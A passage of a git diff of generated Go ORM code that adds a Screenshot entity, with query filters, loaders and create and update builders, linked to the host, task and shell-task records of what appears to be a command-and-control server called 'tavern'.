append(predicates, screenshot.And(and...)) + } + predicates = append(predicates, i.Predicates...) + if i.ID != nil { + predicates = append(predicates, screenshot.IDEQ(*i.ID)) + } + if i.IDNEQ != nil { + predicates = append(predicates, screenshot.IDNEQ(*i.IDNEQ)) + } + if len(i.IDIn) > 0 { + predicates = append(predicates, screenshot.IDIn(i.IDIn...)) + } + if len(i.IDNotIn) > 0 { + predicates = append(predicates, screenshot.IDNotIn(i.IDNotIn...)) + } + if i.IDGT != nil { + predicates = append(predicates, screenshot.IDGT(*i.IDGT)) + } + if i.IDGTE != nil { + predicates = append(predicates, screenshot.IDGTE(*i.IDGTE)) + } + if i.IDLT != nil { + predicates = append(predicates, screenshot.IDLT(*i.IDLT)) + } + if i.IDLTE != nil { + predicates = append(predicates, screenshot.IDLTE(*i.IDLTE)) + } + if i.CreatedAt != nil { + predicates = append(predicates, screenshot.CreatedAtEQ(*i.CreatedAt)) + } + if i.CreatedAtNEQ != nil { + predicates = append(predicates, screenshot.CreatedAtNEQ(*i.CreatedAtNEQ)) + } + if len(i.CreatedAtIn) > 0 { + predicates = append(predicates, screenshot.CreatedAtIn(i.CreatedAtIn...)) + } + if len(i.CreatedAtNotIn) > 0 { + predicates = append(predicates, screenshot.CreatedAtNotIn(i.CreatedAtNotIn...)) + } + if i.CreatedAtGT != nil { + predicates = append(predicates, screenshot.CreatedAtGT(*i.CreatedAtGT)) + } + if i.CreatedAtGTE != nil { + predicates = append(predicates, screenshot.CreatedAtGTE(*i.CreatedAtGTE)) + } + if i.CreatedAtLT != nil { + predicates = append(predicates, screenshot.CreatedAtLT(*i.CreatedAtLT)) + } + if i.CreatedAtLTE != nil { + predicates = append(predicates, screenshot.CreatedAtLTE(*i.CreatedAtLTE)) + } + if i.LastModifiedAt != nil { + predicates = append(predicates, screenshot.LastModifiedAtEQ(*i.LastModifiedAt)) + } + if i.LastModifiedAtNEQ != nil { + predicates = append(predicates, screenshot.LastModifiedAtNEQ(*i.LastModifiedAtNEQ)) + } + if len(i.LastModifiedAtIn) > 0 { + predicates = append(predicates, screenshot.LastModifiedAtIn(i.LastModifiedAtIn...)) + } + if len(i.LastModifiedAtNotIn) > 0 { + predicates = append(predicates, screenshot.LastModifiedAtNotIn(i.LastModifiedAtNotIn...)) + } + if i.LastModifiedAtGT != nil { + predicates = append(predicates, screenshot.LastModifiedAtGT(*i.LastModifiedAtGT)) + } + if i.LastModifiedAtGTE != nil { + predicates = append(predicates, screenshot.LastModifiedAtGTE(*i.LastModifiedAtGTE)) + } + if i.LastModifiedAtLT != nil { + predicates = append(predicates, screenshot.LastModifiedAtLT(*i.LastModifiedAtLT)) + } + if i.LastModifiedAtLTE != nil { + predicates = append(predicates, screenshot.LastModifiedAtLTE(*i.LastModifiedAtLTE)) + } + if i.Name != nil { + predicates = append(predicates, screenshot.NameEQ(*i.Name)) + } + if i.NameNEQ != nil { + predicates = append(predicates, screenshot.NameNEQ(*i.NameNEQ)) + } + if len(i.NameIn) > 0 { + predicates = append(predicates, screenshot.NameIn(i.NameIn...)) + } + if len(i.NameNotIn) > 0 { + predicates = append(predicates, screenshot.NameNotIn(i.NameNotIn...)) + } + if i.NameGT != nil { + predicates = append(predicates, screenshot.NameGT(*i.NameGT)) + } + if i.NameGTE != nil { + predicates = append(predicates, screenshot.NameGTE(*i.NameGTE)) + } + if i.NameLT != nil { + predicates = append(predicates, screenshot.NameLT(*i.NameLT)) + } + if i.NameLTE != nil { + predicates = append(predicates, screenshot.NameLTE(*i.NameLTE)) + } + if i.NameContains != nil { + predicates = append(predicates, screenshot.NameContains(*i.NameContains)) + } + if i.NameHasPrefix != nil { + predicates = append(predicates, screenshot.NameHasPrefix(*i.NameHasPrefix)) + } + if i.NameHasSuffix != nil { + predicates = append(predicates, screenshot.NameHasSuffix(*i.NameHasSuffix)) + } + if i.NameEqualFold != nil { + predicates = append(predicates, screenshot.NameEqualFold(*i.NameEqualFold)) + } + if i.NameContainsFold != nil { + predicates = append(predicates, screenshot.NameContainsFold(*i.NameContainsFold)) + } + if i.Size != nil { + predicates = append(predicates, screenshot.SizeEQ(*i.Size)) + } + if i.SizeNEQ != nil { + predicates = append(predicates, screenshot.SizeNEQ(*i.SizeNEQ)) + } + if len(i.SizeIn) > 0 { + predicates = append(predicates, screenshot.SizeIn(i.SizeIn...)) + } + if len(i.SizeNotIn) > 0 { + predicates = append(predicates, screenshot.SizeNotIn(i.SizeNotIn...)) + } + if i.SizeGT != nil { + predicates = append(predicates, screenshot.SizeGT(*i.SizeGT)) + } + if i.SizeGTE != nil { + predicates = append(predicates, screenshot.SizeGTE(*i.SizeGTE)) + } + if i.SizeLT != nil { + predicates = append(predicates, screenshot.SizeLT(*i.SizeLT)) + } + if i.SizeLTE != nil { + predicates = append(predicates, screenshot.SizeLTE(*i.SizeLTE)) + } + if i.Hash != nil { + predicates = append(predicates, screenshot.HashEQ(*i.Hash)) + } + if i.HashNEQ != nil { + predicates = append(predicates, screenshot.HashNEQ(*i.HashNEQ)) + } + if len(i.HashIn) > 0 { + predicates = append(predicates, screenshot.HashIn(i.HashIn...)) + } + if len(i.HashNotIn) > 0 { + predicates = append(predicates, screenshot.HashNotIn(i.HashNotIn...)) + } + if i.HashGT != nil { + predicates = append(predicates, screenshot.HashGT(*i.HashGT)) + } + if i.HashGTE != nil { + predicates = append(predicates, screenshot.HashGTE(*i.HashGTE)) + } + if i.HashLT != nil { + predicates = append(predicates, screenshot.HashLT(*i.HashLT)) + } + if i.HashLTE != nil { + predicates = append(predicates, screenshot.HashLTE(*i.HashLTE)) + } + if i.HashContains != nil { + predicates = append(predicates, screenshot.HashContains(*i.HashContains)) + } + if i.HashHasPrefix != nil { + predicates = append(predicates, screenshot.HashHasPrefix(*i.HashHasPrefix)) + } + if i.HashHasSuffix != nil { + predicates = append(predicates, screenshot.HashHasSuffix(*i.HashHasSuffix)) + } + if i.HashIsNil { + predicates = append(predicates, screenshot.HashIsNil()) + } + if i.HashNotNil { + predicates = append(predicates, screenshot.HashNotNil()) + } + if i.HashEqualFold != nil { + predicates = append(predicates, screenshot.HashEqualFold(*i.HashEqualFold)) + } + if i.HashContainsFold != nil { + predicates = append(predicates, screenshot.HashContainsFold(*i.HashContainsFold)) + } + + if i.HasHost != nil { + p := screenshot.HasHost() + if !*i.HasHost { + p = screenshot.Not(p) + } + predicates = append(predicates, p) + } + if len(i.HasHostWith) > 0 { + with := make([]predicate.Host, 0, len(i.HasHostWith)) + for _, w := range i.HasHostWith { + p, err := w.P() + if err != nil { + return nil, fmt.Errorf("%w: field 'HasHostWith'", err) + } + with = append(with, p) + } + predicates = append(predicates, screenshot.HasHostWith(with...)) + } + if i.HasTask != nil { + p := screenshot.HasTask() + if !*i.HasTask { + p = screenshot.Not(p) + } + predicates = append(predicates, p) + } + if len(i.HasTaskWith) > 0 { + with := make([]predicate.Task, 0, len(i.HasTaskWith)) + for _, w := range i.HasTaskWith { + p, err := w.P() + if err != nil { + return nil, fmt.Errorf("%w: field 'HasTaskWith'", err) + } + with = append(with, p) + } + predicates = append(predicates, screenshot.HasTaskWith(with...)) + } + if i.HasShellTask != nil { + p := screenshot.HasShellTask() + if !*i.HasShellTask { + p = screenshot.Not(p) + } + predicates = append(predicates, p) + } + if len(i.HasShellTaskWith) > 0 { + with := make([]predicate.ShellTask, 0, len(i.HasShellTaskWith)) + for _, w := range i.HasShellTaskWith { + p, err := w.P() + if err != nil { + return nil, fmt.Errorf("%w: field 'HasShellTaskWith'", err) + } + with = append(with, p) + } + predicates = append(predicates, screenshot.HasShellTaskWith(with...)) + } + switch len(predicates) { + case 0: + return nil, ErrEmptyScreenshotWhereInput + case 1: + return predicates[0], nil + default: + return screenshot.And(predicates...), nil + } +} + // ShellWhereInput represents a where input for filtering Shell queries. type ShellWhereInput struct { Predicates []predicate.Shell `json:"-"` @@ -6735,6 +7166,10 @@ type ShellTaskWhereInput struct { // "reported_processes" edge predicates. HasReportedProcesses *bool `json:"hasReportedProcesses,omitempty"` HasReportedProcessesWith []*HostProcessWhereInput `json:"hasReportedProcessesWith,omitempty"` + + // "screenshots" edge predicates. + HasScreenshots *bool `json:"hasScreenshots,omitempty"` + HasScreenshotsWith []*ScreenshotWhereInput `json:"hasScreenshotsWith,omitempty"` } // AddPredicates adds custom predicates to the where input to be used during the filtering phase. @@ -7253,6 +7688,24 @@ func (i *ShellTaskWhereInput) P() (predicate.ShellTask, error) { } predicates = append(predicates, shelltask.HasReportedProcessesWith(with...)) } + if i.HasScreenshots != nil { + p := shelltask.HasScreenshots() + if !*i.HasScreenshots { + p = shelltask.Not(p) + } + predicates = append(predicates, p) + } + if len(i.HasScreenshotsWith) > 0 { + with := make([]predicate.Screenshot, 0, len(i.HasScreenshotsWith)) + for _, w := range i.HasScreenshotsWith { + p, err := w.P() + if err != nil { + return nil, fmt.Errorf("%w: field 'HasScreenshotsWith'", err) + } + with = append(with, p) + } + predicates = append(predicates, shelltask.HasScreenshotsWith(with...)) + } switch len(predicates) { case 0: return nil, ErrEmptyShellTaskWhereInput @@ -7621,6 +8074,10 @@ type TaskWhereInput struct { // "shells" edge predicates. HasShells *bool `json:"hasShells,omitempty"` HasShellsWith []*ShellWhereInput `json:"hasShellsWith,omitempty"` + + // "screenshots" edge predicates. + HasScreenshots *bool `json:"hasScreenshots,omitempty"` + HasScreenshotsWith []*ScreenshotWhereInput `json:"hasScreenshotsWith,omitempty"` } // AddPredicates adds custom predicates to the where input to be used during the filtering phase. @@ -8079,6 +8536,24 @@ func (i *TaskWhereInput) P() (predicate.Task, error) { } predicates = append(predicates, task.HasShellsWith(with...)) } + if i.HasScreenshots != nil { + p := task.HasScreenshots() + if !*i.HasScreenshots { + p = task.Not(p) + } + predicates = append(predicates, p) + } + if len(i.HasScreenshotsWith) > 0 { + with := make([]predicate.Screenshot, 0, len(i.HasScreenshotsWith)) + for _, w := range i.HasScreenshotsWith { + p, err := w.P() + if err != nil { + return nil, fmt.Errorf("%w: field 'HasScreenshotsWith'", err) + } + with = append(with, p) + } + predicates = append(predicates, task.HasScreenshotsWith(with...)) + } switch len(predicates) { case 0: return nil, ErrEmptyTaskWhereInput diff --git a/tavern/internal/ent/hook/hook.go b/tavern/internal/ent/hook/hook.go index 869db536f..a51411909 100644 --- a/tavern/internal/ent/hook/hook.go +++ b/tavern/internal/ent/hook/hook.go @@ -153,6 +153,18 @@ func (f RepositoryFunc) Mutate(ctx context.Context, m ent.Mutation) (ent.Value, return nil, fmt.Errorf("unexpected mutation type %T. expect *ent.RepositoryMutation", m) } +// The ScreenshotFunc type is an adapter to allow the use of ordinary +// function as Screenshot mutator. +type ScreenshotFunc func(context.Context, *ent.ScreenshotMutation) (ent.Value, error) + +// Mutate calls f(ctx, m). +func (f ScreenshotFunc) Mutate(ctx context.Context, m ent.Mutation) (ent.Value, error) { + if mv, ok := m.(*ent.ScreenshotMutation); ok { + return f(ctx, mv) + } + return nil, fmt.Errorf("unexpected mutation type %T. expect *ent.ScreenshotMutation", m) +} + // The ShellFunc type is an adapter to allow the use of ordinary // function as Shell mutator. type ShellFunc func(context.Context, *ent.ShellMutation) (ent.Value, error) diff --git a/tavern/internal/ent/host.go b/tavern/internal/ent/host.go index beb710226..a75cbc875 100644 --- a/tavern/internal/ent/host.go +++ b/tavern/internal/ent/host.go @@ -55,17 +55,20 @@ type HostEdges struct { Processes []*HostProcess `json:"processes,omitempty"` // Credentials reported from this host system. Credentials []*HostCredential `json:"credentials,omitempty"` + // Screenshots reported from this host system. + Screenshots []*Screenshot `json:"screenshots,omitempty"` // loadedTypes holds the information for reporting if a // type was loaded (or requested) in eager-loading or not. - loadedTypes [5]bool + loadedTypes [6]bool // totalCount holds the count of the edges above. - totalCount [5]map[string]int + totalCount [6]map[string]int namedTags map[string][]*Tag namedBeacons map[string][]*Beacon namedFiles map[string][]*HostFile namedProcesses map[string][]*HostProcess namedCredentials map[string][]*HostCredential + namedScreenshots map[string][]*Screenshot } // TagsOrErr returns the Tags value or an error if the edge @@ -113,6 +116,15 @@ func (e HostEdges) CredentialsOrErr() ([]*HostCredential, error) { return nil, &NotLoadedError{edge: "credentials"} } +// ScreenshotsOrErr returns the Screenshots value or an error if the edge +// was not loaded in eager-loading. +func (e HostEdges) ScreenshotsOrErr() ([]*Screenshot, error) { + if e.loadedTypes[5] { + return e.Screenshots, nil + } + return nil, &NotLoadedError{edge: "screenshots"} +} + // scanValues returns the types for scanning values from sql.Rows. func (*Host) scanValues(columns []string) ([]any, error) { values := make([]any, len(columns)) @@ -248,6 +260,11 @@ func (h *Host) QueryCredentials() *HostCredentialQuery { return NewHostClient(h.config).QueryCredentials(h) } +// QueryScreenshots queries the "screenshots" edge of the Host entity. +func (h *Host) QueryScreenshots() *ScreenshotQuery { + return NewHostClient(h.config).QueryScreenshots(h) +} + // Update returns a builder for updating this Host. // Note that you need to call Host.Unwrap() before calling this method if this Host // was returned from a transaction, and the transaction was committed or rolled back. @@ -421,5 +438,29 @@ func (h *Host) appendNamedCredentials(name string, edges ...*HostCredential) { } } +// NamedScreenshots returns the Screenshots named value or an error if the edge was not +// loaded in eager-loading with this name. +func (h *Host) NamedScreenshots(name string) ([]*Screenshot, error) { + if h.Edges.namedScreenshots == nil { + return nil, &NotLoadedError{edge: name} + } + nodes, ok := h.Edges.namedScreenshots[name] + if !ok { + return nil, &NotLoadedError{edge: name} + } + return nodes, nil +} + +func (h *Host) appendNamedScreenshots(name string, edges ...*Screenshot) { + if h.Edges.namedScreenshots == nil { + h.Edges.namedScreenshots = make(map[string][]*Screenshot) + } + if len(edges) == 0 { + h.Edges.namedScreenshots[name] = []*Screenshot{} + } else { + h.Edges.namedScreenshots[name] = append(h.Edges.namedScreenshots[name], edges...) + } +} + // Hosts is a parsable slice of Host. type Hosts []*Host diff --git a/tavern/internal/ent/host/host.go b/tavern/internal/ent/host/host.go index ae953e7d5..957b072f2 100644 --- a/tavern/internal/ent/host/host.go +++ b/tavern/internal/ent/host/host.go @@ -45,6 +45,8 @@ const ( EdgeProcesses = "processes" // EdgeCredentials holds the string denoting the credentials edge name in mutations. EdgeCredentials = "credentials" + // EdgeScreenshots holds the string denoting the screenshots edge name in mutations. + EdgeScreenshots = "screenshots" // Table holds the table name of the host in the database. Table = "hosts" // TagsTable is the table that holds the tags relation/edge. The primary key declared below. @@ -80,6 +82,13 @@ const ( CredentialsInverseTable = "host_credentials" // CredentialsColumn is the table column denoting the credentials relation/edge. CredentialsColumn = "host_credential_host" + // ScreenshotsTable is the table that holds the screenshots relation/edge. + ScreenshotsTable = "screenshots" + // ScreenshotsInverseTable is the table name for the Screenshot entity. + // It exists in this package in order to avoid circular dependency with the "screenshot" package. + ScreenshotsInverseTable = "screenshots" + // ScreenshotsColumn is the table column denoting the screenshots relation/edge. + ScreenshotsColumn = "screenshot_host" ) // Columns holds all SQL columns for host fields. @@ -268,6 +277,20 @@ func ByCredentials(term sql.OrderTerm, terms ...sql.OrderTerm) OrderOption { sqlgraph.OrderByNeighborTerms(s, newCredentialsStep(), append([]sql.OrderTerm{term}, terms...)...) } } + +// ByScreenshotsCount orders the results by screenshots count. +func ByScreenshotsCount(opts ...sql.OrderTermOption) OrderOption { + return func(s *sql.Selector) { + sqlgraph.OrderByNeighborsCount(s, newScreenshotsStep(), opts...) + } +} + +// ByScreenshots orders the results by screenshots terms. +func ByScreenshots(term sql.OrderTerm, terms ...sql.OrderTerm) OrderOption { + return func(s *sql.Selector) { + sqlgraph.OrderByNeighborTerms(s, newScreenshotsStep(), append([]sql.OrderTerm{term}, terms...)...) + } +} func newTagsStep() *sqlgraph.Step { return sqlgraph.NewStep( sqlgraph.From(Table, FieldID), @@ -303,6 +326,13 @@ func newCredentialsStep() *sqlgraph.Step { sqlgraph.Edge(sqlgraph.O2M, true, CredentialsTable, CredentialsColumn), ) } +func newScreenshotsStep() *sqlgraph.Step { + return sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(ScreenshotsInverseTable, FieldID), + sqlgraph.Edge(sqlgraph.O2M, true, ScreenshotsTable, ScreenshotsColumn), + ) +} var ( // c2pb.Host_Platform must implement graphql.Marshaler. diff --git a/tavern/internal/ent/host/where.go b/tavern/internal/ent/host/where.go index 5f8561ae1..648dcd3a5 100644 --- a/tavern/internal/ent/host/where.go +++ b/tavern/internal/ent/host/where.go @@ -701,6 +701,29 @@ func HasCredentialsWith(preds ...predicate.HostCredential) predicate.Host { }) } +// HasScreenshots applies the HasEdge predicate on the "screenshots" edge. +func HasScreenshots() predicate.Host { + return predicate.Host(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.Edge(sqlgraph.O2M, true, ScreenshotsTable, ScreenshotsColumn), + ) + sqlgraph.HasNeighbors(s, step) + }) +} + +// HasScreenshotsWith applies the HasEdge predicate on the "screenshots" edge with a given conditions (other predicates). +func HasScreenshotsWith(preds ...predicate.Screenshot) predicate.Host { + return predicate.Host(func(s *sql.Selector) { + step := newScreenshotsStep() + sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) { + for _, p := range preds { + p(s) + } + }) + }) +} + // And groups predicates with the AND operator between them. func And(predicates ...predicate.Host) predicate.Host { return predicate.Host(sql.AndPredicates(predicates...)) diff --git a/tavern/internal/ent/host_create.go b/tavern/internal/ent/host_create.go index 9665bd897..5015276b8 100644 --- a/tavern/internal/ent/host_create.go +++ b/tavern/internal/ent/host_create.go @@ -17,6 +17,7 @@ import ( "realm.pub/tavern/internal/ent/hostcredential" "realm.pub/tavern/internal/ent/hostfile" "realm.pub/tavern/internal/ent/hostprocess" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/tag" ) @@ -213,6 +214,21 @@ func (hc *HostCreate) AddCredentials(h ...*HostCredential) *HostCreate { return hc.AddCredentialIDs(ids...) } +// AddScreenshotIDs adds the "screenshots" edge to the Screenshot entity by IDs. +func (hc *HostCreate) AddScreenshotIDs(ids ...int) *HostCreate { + hc.mutation.AddScreenshotIDs(ids...) + return hc +} + +// AddScreenshots adds the "screenshots" edges to the Screenshot entity. +func (hc *HostCreate) AddScreenshots(s ...*Screenshot) *HostCreate { + ids := make([]int, len(s)) + for i := range s { + ids[i] = s[i].ID + } + return hc.AddScreenshotIDs(ids...) +} + // Mutation returns the HostMutation object of the builder. func (hc *HostCreate) Mutation() *HostMutation { return hc.mutation @@ -430,6 +446,22 @@ func (hc *HostCreate) createSpec() (*Host, *sqlgraph.CreateSpec) { } _spec.Edges = append(_spec.Edges, edge) } + if nodes := hc.mutation.ScreenshotsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: host.ScreenshotsTable, + Columns: []string{host.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges = append(_spec.Edges, edge) + } return _node, _spec } diff --git a/tavern/internal/ent/host_query.go b/tavern/internal/ent/host_query.go index aab959d64..807914b2c 100644 --- a/tavern/internal/ent/host_query.go +++ b/tavern/internal/ent/host_query.go @@ -18,6 +18,7 @@ import ( "realm.pub/tavern/internal/ent/hostfile" "realm.pub/tavern/internal/ent/hostprocess" "realm.pub/tavern/internal/ent/predicate" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/tag" ) @@ -33,6 +34,7 @@ type HostQuery struct { withFiles *HostFileQuery withProcesses *HostProcessQuery withCredentials *HostCredentialQuery + withScreenshots *ScreenshotQuery withFKs bool modifiers []func(*sql.Selector) loadTotal []func(context.Context, []*Host) error @@ -41,6 +43,7 @@ type HostQuery struct { withNamedFiles map[string]*HostFileQuery withNamedProcesses map[string]*HostProcessQuery withNamedCredentials map[string]*HostCredentialQuery + withNamedScreenshots map[string]*ScreenshotQuery // intermediate query (i.e. traversal path). sql *sql.Selector path func(context.Context) (*sql.Selector, error) @@ -187,6 +190,28 @@ func (hq *HostQuery) QueryCredentials() *HostCredentialQuery { return query } +// QueryScreenshots chains the current query on the "screenshots" edge. +func (hq *HostQuery) QueryScreenshots() *ScreenshotQuery { + query := (&ScreenshotClient{config: hq.config}).Query() + query.path = func(ctx context.Context) (fromU *sql.Selector, err error) { + if err := hq.prepareQuery(ctx); err != nil { + return nil, err + } + selector := hq.sqlQuery(ctx) + if err := selector.Err(); err != nil { + return nil, err + } + step := sqlgraph.NewStep( + sqlgraph.From(host.Table, host.FieldID, selector), + sqlgraph.To(screenshot.Table, screenshot.FieldID), + sqlgraph.Edge(sqlgraph.O2M, true, host.ScreenshotsTable, host.ScreenshotsColumn), + ) + fromU = sqlgraph.SetNeighbors(hq.driver.Dialect(), step) + return fromU, nil + } + return query +} + // First returns the first Host entity from the query. // Returns a *NotFoundError when no Host was found. func (hq *HostQuery) First(ctx context.Context) (*Host, error) { @@ -384,6 +409,7 @@ func (hq *HostQuery) Clone() *HostQuery { withFiles: hq.withFiles.Clone(), withProcesses: hq.withProcesses.Clone(), withCredentials: hq.withCredentials.Clone(), + withScreenshots: hq.withScreenshots.Clone(), // clone intermediate query. sql: hq.sql.Clone(), path: hq.path, @@ -445,6 +471,17 @@ func (hq *HostQuery) WithCredentials(opts ...func(*HostCredentialQuery)) *HostQu return hq } +// WithScreenshots tells the query-builder to eager-load the nodes that are connected to +// the "screenshots" edge. The optional arguments are used to configure the query builder of the edge. +func (hq *HostQuery) WithScreenshots(opts ...func(*ScreenshotQuery)) *HostQuery { + query := (&ScreenshotClient{config: hq.config}).Query() + for _, opt := range opts { + opt(query) + } + hq.withScreenshots = query + return hq +} + // GroupBy is used to group vertices by one or more fields/columns. // It is often used with aggregate functions, like: count, max, mean, min, sum. // @@ -524,12 +561,13 @@ func (hq *HostQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*Host, e nodes = []*Host{} withFKs = hq.withFKs _spec = hq.querySpec() - loadedTypes = [5]bool{ + loadedTypes = [6]bool{ hq.withTags != nil, hq.withBeacons != nil, hq.withFiles != nil, hq.withProcesses != nil, hq.withCredentials != nil, + hq.withScreenshots != nil, } ) if withFKs { @@ -591,6 +629,13 @@ func (hq *HostQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*Host, e return nil, err } } + if query := hq.withScreenshots; query != nil { + if err := hq.loadScreenshots(ctx, query, nodes, + func(n *Host) { n.Edges.Screenshots = []*Screenshot{} }, + func(n *Host, e *Screenshot) { n.Edges.Screenshots = append(n.Edges.Screenshots, e) }); err != nil { + return nil, err + } + } for name, query := range hq.withNamedTags { if err := hq.loadTags(ctx, query, nodes, func(n *Host) { n.appendNamedTags(name) }, @@ -626,6 +671,13 @@ func (hq *HostQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*Host, e return nil, err } } + for name, query := range hq.withNamedScreenshots { + if err := hq.loadScreenshots(ctx, query, nodes, + func(n *Host) { n.appendNamedScreenshots(name) }, + func(n *Host, e *Screenshot) { n.appendNamedScreenshots(name, e) }); err != nil { + return nil, err + } + } for i := range hq.loadTotal { if err := hq.loadTotal[i](ctx, nodes); err != nil { return nil, err @@ -819,6 +871,37 @@ func (hq *HostQuery) loadCredentials(ctx context.Context, query *HostCredentialQ } return nil } +func (hq *HostQuery) loadScreenshots(ctx context.Context, query *ScreenshotQuery, nodes []*Host, init func(*Host), assign func(*Host, *Screenshot)) error { + fks := make([]driver.Value, 0, len(nodes)) + nodeids := make(map[int]*Host) + for i := range nodes { + fks = append(fks, nodes[i].ID) + nodeids[nodes[i].ID] = nodes[i] + if init != nil { + init(nodes[i]) + } + } + query.withFKs = true + query.Where(predicate.Screenshot(func(s *sql.Selector) { + s.Where(sql.InValues(s.C(host.ScreenshotsColumn), fks...)) + })) + neighbors, err := query.All(ctx) + if err != nil { + return err + } + for _, n := range neighbors { + fk := n.screenshot_host + if fk == nil { + return fmt.Errorf(`foreign-key "screenshot_host" is nil for node %v`, n.ID) + } + node, ok := nodeids[*fk] + if !ok { + return fmt.Errorf(`unexpected referenced foreign-key "screenshot_host" returned %v for node %v`, *fk, n.ID) + } + assign(node, n) + } + return nil +} func (hq *HostQuery) sqlCount(ctx context.Context) (int, error) { _spec := hq.querySpec() @@ -974,6 +1057,20 @@ func (hq *HostQuery) WithNamedCredentials(name string, opts ...func(*HostCredent return hq } +// WithNamedScreenshots tells the query-builder to eager-load the nodes that are connected to the "screenshots" +// edge with the given name. The optional arguments are used to configure the query builder of the edge. +func (hq *HostQuery) WithNamedScreenshots(name string, opts ...func(*ScreenshotQuery)) *HostQuery { + query := (&ScreenshotClient{config: hq.config}).Query() + for _, opt := range opts { + opt(query) + } + if hq.withNamedScreenshots == nil { + hq.withNamedScreenshots = make(map[string]*ScreenshotQuery) + } + hq.withNamedScreenshots[name] = query + return hq +} + // HostGroupBy is the group-by builder for Host entities. type HostGroupBy struct { selector diff --git a/tavern/internal/ent/host_update.go b/tavern/internal/ent/host_update.go index 0dd5c6672..ce60a408f 100644 --- a/tavern/internal/ent/host_update.go +++ b/tavern/internal/ent/host_update.go @@ -18,6 +18,7 @@ import ( "realm.pub/tavern/internal/ent/hostfile" "realm.pub/tavern/internal/ent/hostprocess" "realm.pub/tavern/internal/ent/predicate" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/tag" ) @@ -243,6 +244,21 @@ func (hu *HostUpdate) AddCredentials(h ...*HostCredential) *HostUpdate { return hu.AddCredentialIDs(ids...) } +// AddScreenshotIDs adds the "screenshots" edge to the Screenshot entity by IDs. +func (hu *HostUpdate) AddScreenshotIDs(ids ...int) *HostUpdate { + hu.mutation.AddScreenshotIDs(ids...) + return hu +} + +// AddScreenshots adds the "screenshots" edges to the Screenshot entity. +func (hu *HostUpdate) AddScreenshots(s ...*Screenshot) *HostUpdate { + ids := make([]int, len(s)) + for i := range s { + ids[i] = s[i].ID + } + return hu.AddScreenshotIDs(ids...) +} + // Mutation returns the HostMutation object of the builder. func (hu *HostUpdate) Mutation() *HostMutation { return hu.mutation @@ -353,6 +369,27 @@ func (hu *HostUpdate) RemoveCredentials(h ...*HostCredential) *HostUpdate { return hu.RemoveCredentialIDs(ids...) } +// ClearScreenshots clears all "screenshots" edges to the Screenshot entity. +func (hu *HostUpdate) ClearScreenshots() *HostUpdate { + hu.mutation.ClearScreenshots() + return hu +} + +// RemoveScreenshotIDs removes the "screenshots" edge to Screenshot entities by IDs. +func (hu *HostUpdate) RemoveScreenshotIDs(ids ...int) *HostUpdate { + hu.mutation.RemoveScreenshotIDs(ids...) + return hu +} + +// RemoveScreenshots removes "screenshots" edges to Screenshot entities. +func (hu *HostUpdate) RemoveScreenshots(s ...*Screenshot) *HostUpdate { + ids := make([]int, len(s)) + for i := range s { + ids[i] = s[i].ID + } + return hu.RemoveScreenshotIDs(ids...) +} + // Save executes the query and returns the number of nodes affected by the update operation. func (hu *HostUpdate) Save(ctx context.Context) (int, error) { hu.defaults() @@ -685,6 +722,51 @@ func (hu *HostUpdate) sqlSave(ctx context.Context) (n int, err error) { } _spec.Edges.Add = append(_spec.Edges.Add, edge) } + if hu.mutation.ScreenshotsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: host.ScreenshotsTable, + Columns: []string{host.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := hu.mutation.RemovedScreenshotsIDs(); len(nodes) > 0 && !hu.mutation.ScreenshotsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: host.ScreenshotsTable, + Columns: []string{host.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := hu.mutation.ScreenshotsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: host.ScreenshotsTable, + Columns: []string{host.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } if n, err = sqlgraph.UpdateNodes(ctx, hu.driver, _spec); err != nil { if _, ok := err.(*sqlgraph.NotFoundError); ok { err = &NotFoundError{host.Label} @@ -914,6 +996,21 @@ func (huo *HostUpdateOne) AddCredentials(h ...*HostCredential) *HostUpdateOne { return huo.AddCredentialIDs(ids...) } +// AddScreenshotIDs adds the "screenshots" edge to the Screenshot entity by IDs. +func (huo *HostUpdateOne) AddScreenshotIDs(ids ...int) *HostUpdateOne { + huo.mutation.AddScreenshotIDs(ids...) + return huo +} + +// AddScreenshots adds the "screenshots" edges to the Screenshot entity. +func (huo *HostUpdateOne) AddScreenshots(s ...*Screenshot) *HostUpdateOne { + ids := make([]int, len(s)) + for i := range s { + ids[i] = s[i].ID + } + return huo.AddScreenshotIDs(ids...) +} + // Mutation returns the HostMutation object of the builder. func (huo *HostUpdateOne) Mutation() *HostMutation { return huo.mutation @@ -1024,6 +1121,27 @@ func (huo *HostUpdateOne) RemoveCredentials(h ...*HostCredential) 